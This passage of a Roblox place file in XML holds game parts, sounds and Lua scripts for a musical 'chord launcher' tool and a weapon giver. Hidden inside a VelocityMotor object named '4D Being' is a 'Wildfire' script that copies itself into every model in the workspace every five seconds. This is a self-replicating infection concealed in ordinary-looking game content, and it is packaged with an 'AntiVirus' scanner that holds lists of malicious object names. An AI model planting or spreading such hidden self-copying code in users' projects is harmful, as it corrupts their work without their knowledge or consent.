					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.000830326113</X>
						<Y>-0.00742049469</Y>
						<Z>0.00112485501</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.00110758608</X>
						<Y>0.00393473217</Y>
						<Z>0.00384627515</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX1246">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1082816</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset?id=12503965</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Sound" referent="RBX1247">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089404</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX1248">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IVIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089405</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX1249">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IVchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089406</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX1250">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">Ichord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089403</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX1251">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">VVIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089410</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX1252">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">Vchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089407</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX1253">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Launcher</string>
					<string name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent
local vel = Instance.new(&quot;BodyVelocity&quot;)

vel.Parent = Rocket

Rocket.Locked = true
Rocket.Size = Vector3.new(1,1,1)
Rocket.BrickColor = BrickColor.new(26)

Rocket.CanCollide = false

Tool.Note:clone().Parent = Rocket
Tool.RocketScript:clone().Parent = Rocket
--Tool.Explosion:clone().Parent = Rocket
--Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local chord = Tool.Ichord:clone()

	if (Tool.mode.Value==1) then
		chord = Tool.Ichord:clone()
	elseif (Tool.mode.Value==2) then
		chord = Tool.IVIIchord:clone()
	elseif (Tool.mode.Value==3) then
		chord = Tool.Vchord:clone()
	elseif (Tool.mode.Value==4) then
		chord = Tool.VVIIchord:clone()
	elseif (Tool.mode.Value==5) then
		chord = Tool.IVchord:clone()
	elseif (Tool.mode.Value==6) then
		chord = Tool.IIIchord:clone()
	end
	
	chord.Name = &quot;chord&quot;

	local dir = Vector3.new(math.random()-.5, 1, math.random() - .5).unit

	local missile = Rocket:clone()

	chord.Parent = missile

	local pos = vHandle.Position + Vector3.new(0, 5 ,0)
	
	--missile.Position = pos
	missile.CFrame = CFrame.new(pos,  pos + dir)

	missile.BodyVelocity.velocity = dir * 30

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	end	
	missile.RocketScript.Disabled = false
	missile.Parent = game.Workspace
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	fire(targetPos)

	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="SpecialMesh" referent="RBX1254">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1088207</url></Content>
					<token name="MeshType">5</token>
					<string name="Name">Note</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>0.100000001</X>
						<Y>0.100000001</Y>
						<Z>0.100000001</Z>
					</Vector3>
					<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1088099</url></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX1255">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">RocketScript</string>
					<string name="Source">shaft = script.Parent




note = script.Parent.chord
note:play()

wait(5)

-- at max range
--script.Parent.Explosion.PlayOnRemove = false
note:stop()
shaft:remove()</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX1256">
				<Properties>
					<string name="Name">mode</string>
					<int name="Value">5</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX1257">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<string name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	--mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	--wait(7)
	--mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function Message(text)

	-- kill all existing
	local c = game.Players.LocalPlayer:GetChildren()
	
	for i=1,#c do
		if (c[i].className == &quot;Message&quot;) then
			c[i]:Remove()
		end
	end


	local m = Instance.new(&quot;Message&quot;)
	m.Text = text
	m.Parent = game.Players.LocalPlayer
	wait(1)
	m:Remove()
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?id=1088199&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.KeyDown:connect(onKeyDown) 
end


Tool.Equipped:connect(onEquippedLocal)


function onKeyDown(key) 
	if (key~=nil) then 
		local key = key:lower() 
		if (key==&quot;f&quot;) then 
			Tool.mode.Value=1
			coroutine.resume(coroutine.create(Message),&quot;I Chord&quot;)
		elseif (key==&quot;k&quot;) then
			Tool.mode.Value=2
			coroutine.resume(coroutine.create(Message),&quot;IV Chord&quot;)
		elseif (key==&quot;h&quot;) then
			Tool.mode.Value=3
			coroutine.resume(coroutine.create(Message),&quot;V Chord&quot;)
		elseif (key==&quot;j&quot;) then
			Tool.mode.Value=4
			coroutine.resume(coroutine.create(Message),&quot;V-VII Transition&quot;)
		elseif (key==&quot;g&quot;) then
			Tool.mode.Value=5
			coroutine.resume(coroutine.create(Message),&quot;I-VII Transition&quot;)
		elseif (key==&quot;l&quot;) then
			Tool.mode.Value=6
			coroutine.resume(coroutine.create(Message),&quot;III Chord&quot;)
		end
	end
end

--[[function pm(x)

	if game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then
		local bob=game.Players:findFirstChild(script.Parent.Parent.Name)
		local mess=Instance.new(&quot;Message&quot;)
		while bob:findFirstChild(&quot;Message&quot;)~=nil do bob.Message:remove() end
		mess.Parent=bob
		if x==1 then
			mess.Text=&quot;I Chord&quot;
		elseif x==2 then
			mess.Text=&quot;IV Chord&quot;
		elseif x==3 then
			mess.Text=&quot;V Chord&quot;
		elseif x==4 then
			mess.Text=&quot;V-VII Transition&quot;
		elseif x==5 then
			mess.Text=&quot;I-VII Transition&quot;
		elseif x==6 then
			mess.Text=&quot;III Chord&quot;
		end
		wait(1)
		mess.Parent=nil
	end
end]]

function Leap()
wait(0.25)--Might want to change this
script.Parent.GripForward = Vector3.new(-0,-0,1)
script.Parent.GripPos = Vector3.new(-1, 0, 0)
script.Parent.GripRight = Vector3.new(-1, 0, 0)
script.Parent.GripUp = Vector3.new(0, 1, 0)
wait(0.75)--Might want to change this also...
script.Parent.GripForward = Vector3.new(-0.291, 0.485, 0.825)
script.Parent.GripPos = Vector3.new(-1.5, 0, 0)
script.Parent.GripRight = Vector3.new(-0.857, -0.514, 0)
script.Parent.GripUp = Vector3.new(-0.424, 0.707, -0.565)
end

script.Parent.Parent.Humanoid.Jumping:connect(Leap)</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX1258">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">put this in ur weapon</string>
					<string name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="TrussPart" referent="RBX1259">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-31</X>
					<Y>37.8000031</Y>
					<Z>-60</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>10</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1260">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-28</X>
					<Y>25.6000023</Y>
					<Z>-72</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>28</X>
					<Y>14.4000006</Y>
					<Z>30</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="VelocityMotor" referent="RBX1261">
			<Properties>
				<CoordinateFrame name="C0">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<CoordinateFrame name="C1">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<float name="CurrentAngle">0</float>
				<float name="DesiredAngle">0</float>
				<Ref name="Hole">null</Ref>
				<float name="MaxVelocity">0</float>
				<string name="Name">4D Being</string>
				<Ref name="Part0">null</Ref>
				<Ref name="Part1">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX1262">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX1263">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">4D Being</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX1264">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Wildfire</string>
							<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1265">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">AntiVirus</string>
							<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1266">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>240.5</X>
					<Y>5.20000029</Y>
					<Z>228.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>7</X>
					<Y>7.20000029</Y>
					<Z>3</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX1267">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-16.9999943</X>
					<Y>9.40001488</Y>
					<Z>-50.9999962</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>18</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="VehicleSeat" referent="RBX1268">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>133</X>
					<Y>6.69999981</Y>
					<Z>52</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1269">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1270">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
